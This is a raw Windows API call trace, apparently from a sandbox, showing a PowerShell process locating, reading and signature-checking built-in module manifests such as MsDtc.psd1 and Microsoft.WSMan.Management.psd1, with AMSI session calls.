GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management\\Microsoft.WSMan.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6e [0110.130] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management\\Microsoft.WSMan.Management.psd1", nBufferLength=0x6e, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management\\Microsoft.WSMan.Management.psd1", lpFilePart=0x0) returned 0x6d [0110.130] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management\\Microsoft.WSMan.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6e [0110.130] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management\\Microsoft.WSMan.Management.psd1", nBufferLength=0x6e, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management\\Microsoft.WSMan.Management.psd1", lpFilePart=0x0) returned 0x6d [0110.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e744) returned 1 [0110.130] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management\\Microsoft.WSMan.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management\\microsoft.wsman.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x56ef3f8 | out: lpFileInformation=0x56ef3f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe0e1de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe0e1de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe34444, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2eb)) returned 1 [0110.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e740) returned 1 [0110.131] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management\\Microsoft.WSMan.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6e [0110.131] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management\\Microsoft.WSMan.Management.psd1", nBufferLength=0x6e, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management\\Microsoft.WSMan.Management.psd1", lpFilePart=0x0) returned 0x6d [0110.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e664) returned 1 [0110.131] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management\\Microsoft.WSMan.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management\\microsoft.wsman.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x994 [0110.131] GetFileType (hFile=0x994) returned 0x1 [0110.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e660) returned 1 [0110.131] GetFileType (hFile=0x994) returned 0x1 [0110.131] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x0 [0110.131] ReadFile (in: hFile=0x994, lpBuffer=0x56f0234, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x56f0234*, lpNumberOfBytesRead=0x843e6cc*=0x2eb, lpOverlapped=0x0) returned 1 [0110.133] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x2eb [0110.133] ReadFile (in: hFile=0x994, lpBuffer=0x56f0234, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x56f0234*, lpNumberOfBytesRead=0x843e6cc*=0x0, lpOverlapped=0x0) returned 1 [0110.133] CloseHandle (hObject=0x994) returned 1 [0110.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e78c) returned 1 [0110.134] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0110.134] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc", nBufferLength=0x39, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc", lpFilePart=0x0) returned 0x38 [0110.134] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc\\*", lpFindFileData=0x843e4b4 | out: lpFindFileData=0x843e4b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acdc29, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e00b8 [0110.135] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acdc29, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.135] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d025724, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x1ace109, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0110.135] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d025724, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x1ace750, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0110.135] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2ac431, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2ac431, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2ac431, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1961, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsDtc.Formats.ps1xml", cAlternateFileName="")) returned 1 [0110.135] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2861ca, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2861ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2861ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1006, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsDtc.psd1", cAlternateFileName="")) returned 1 [0110.135] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2861ca, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2861ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2861ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x843, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsDtc.Types.ps1xml", cAlternateFileName="")) returned 1 [0110.136] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2ac431, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2ac431, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2ac431, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xcc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFT_DtcAdvancedHostSettingTask_v1.0.cdxml", cAlternateFileName="")) returned 1 [0110.136] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2861ca, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2861ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2861ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFT_DtcAdvancedSettingTask_v1.0.cdxml", cAlternateFileName="")) returned 1 [0110.136] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2ac431, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2ac431, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2ac431, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x635, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFT_DtcClusterDefaultTask_v1.0.cdxml", cAlternateFileName="")) returned 1 [0110.136] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2861ca, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2861ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2861ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFT_DtcClusterTMMappingTask_v1.0.cdxml", cAlternateFileName="")) returned 1 [0110.136] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2861ca, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2861ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2861ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFT_DtcDefaultTask_v1.0.cdxml", cAlternateFileName="")) returned 1 [0110.136] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2861ca, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2861ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2861ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFT_DtcLogTask_v1.0.cdxml", cAlternateFileName="")) returned 1 [0110.136] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2ac431, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2ac431, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2ac431, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x154d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFT_DtcNetworkSettingTask_v1.0.cdxml", cAlternateFileName="")) returned 1 [0110.136] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2ac431, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2ac431, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2ac431, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFT_DtcTask_v1.0.cdxml", cAlternateFileName="")) returned 1 [0110.136] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2ac431, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2ac431, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2ac431, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFT_DtcTransactionsStatisticsTask_v1.0.cdxml", cAlternateFileName="")) returned 1 [0110.137] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2ac431, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2ac431, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2ac431, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa84, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFT_DtcTransactionsTraceSessionTask_v1.0.cdxml", cAlternateFileName="")) returned 1 [0110.137] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2ac431, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2ac431, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2ac431, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFT_DtcTransactionsTraceSettingTask_v1.0.cdxml", cAlternateFileName="")) returned 1 [0110.137] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2ac431, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2ac431, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2ac431, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1766, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFT_DtcTransactionTask_v1.0.cdxml", cAlternateFileName="")) returned 1 [0110.137] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2861ca, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2861ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2861ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6701, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDtc.psm1", cAlternateFileName="")) returned 1 [0110.137] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2861ca, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2861ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2861ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6701, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDtc.psm1", cAlternateFileName="")) returned 0 [0110.137] FindClose (in: hFindFile=0x76e00b8 | out: hFindFile=0x76e00b8) returned 1 [0110.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e748) returned 1 [0110.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e754) returned 1 [0110.138] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc\\MsDtc.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\msdtc\\msdtc.psd1")) returned 0x20 [0110.138] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc\\MsDtc.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0110.138] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc\\MsDtc.psd1", nBufferLength=0x44, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc\\MsDtc.psd1", lpFilePart=0x0) returned 0x43 [0110.138] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc\\MsDtc.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0110.138] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc\\MsDtc.psd1", nBufferLength=0x44, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc\\MsDtc.psd1", lpFilePart=0x0) returned 0x43 [0110.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e744) returned 1 [0110.138] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc\\MsDtc.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\msdtc\\msdtc.psd1"), fInfoLevelId=0x0, lpFileInformation=0x56f8990 | out: lpFileInformation=0x56f8990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2861ca, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2861ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2861ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1006)) returned 1 [0110.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e740) returned 1 [0110.139] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc\\MsDtc.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0110.139] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc\\MsDtc.psd1", nBufferLength=0x44, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc\\MsDtc.psd1", lpFilePart=0x0) returned 0x43 [0110.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e664) returned 1 [0110.139] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc\\MsDtc.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\msdtc\\msdtc.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x994 [0110.139] GetFileType (hFile=0x994) returned 0x1 [0110.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e660) returned 1 [0110.139] GetFileType (hFile=0x994) returned 0x1 [0110.139] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x0 [0110.139] ReadFile (in: hFile=0x994, lpBuffer=0x56f977c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x56f977c*, lpNumberOfBytesRead=0x843e6cc*=0x1000, lpOverlapped=0x0) returned 1 [0110.275] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x1000 [0110.275] ReadFile (in: hFile=0x994, lpBuffer=0x56f977c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x56f977c*, lpNumberOfBytesRead=0x843e6cc*=0x6, lpOverlapped=0x0) returned 1 [0110.416] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x1006 [0110.416] ReadFile (in: hFile=0x994, lpBuffer=0x56f977c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x56f977c*, lpNumberOfBytesRead=0x843e6cc*=0x0, lpOverlapped=0x0) returned 1 [0110.416] CloseHandle (hObject=0x994) returned 1 [0110.417] CoCreateGuid (in: pguid=0x843e70c | out: pguid=0x843e70c*(Data1=0x1bcaaa8f, Data2=0x7875, Data3=0x43c5, Data4=([0]=0xac, [1]=0xb8, [2]=0xa7, [3]=0xd4, [4]=0x3b, [5]=0x3a, [6]=0xd0, [7]=0x5d))) returned 0x0 [0110.417] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x994 [0110.417] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x8dc [0110.417] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x9e8 [0110.417] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x9f4 [0110.418] SetEvent (hEvent=0x9f4) returned 1 [0110.418] SetEvent (hEvent=0x994) returned 1 [0110.418] SetEvent (hEvent=0x8dc) returned 1 [0110.418] SetEvent (hEvent=0x9e8) returned 1 [0110.418] AmsiCloseSession () returned 0x315cd38 [0110.418] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa10 [0110.418] SetThreadUILanguage (LangId=0x0) returned 0x2c70409 [0110.713] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e3f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e3f8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x1e, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0110.713] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e364*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e364*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0110.713] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e3e8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x1e, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e3e8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x1e, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0110.717] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc\\MsDtc.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\msdtc\\msdtc.psd1")) returned 0x20 [0110.717] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc\\MsDtc.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0110.717] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc\\MsDtc.psd1", nBufferLength=0x44, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc\\MsDtc.psd1", lpFilePart=0x0) returned 0x43 [0110.718] WTGetSignatureInfo () returned 0x0 [0110.753] CertDuplicateCertificateContext (pCertContext=0x737c738) returned 0x737c738 [0110.753] WinVerifyTrust () returned 0x0 [0110.753] CertFreeCertificateContext (pCertContext=0x737c738) returned 1 [0110.753] AmsiOpenSession () returned 0x0 [0110.753] 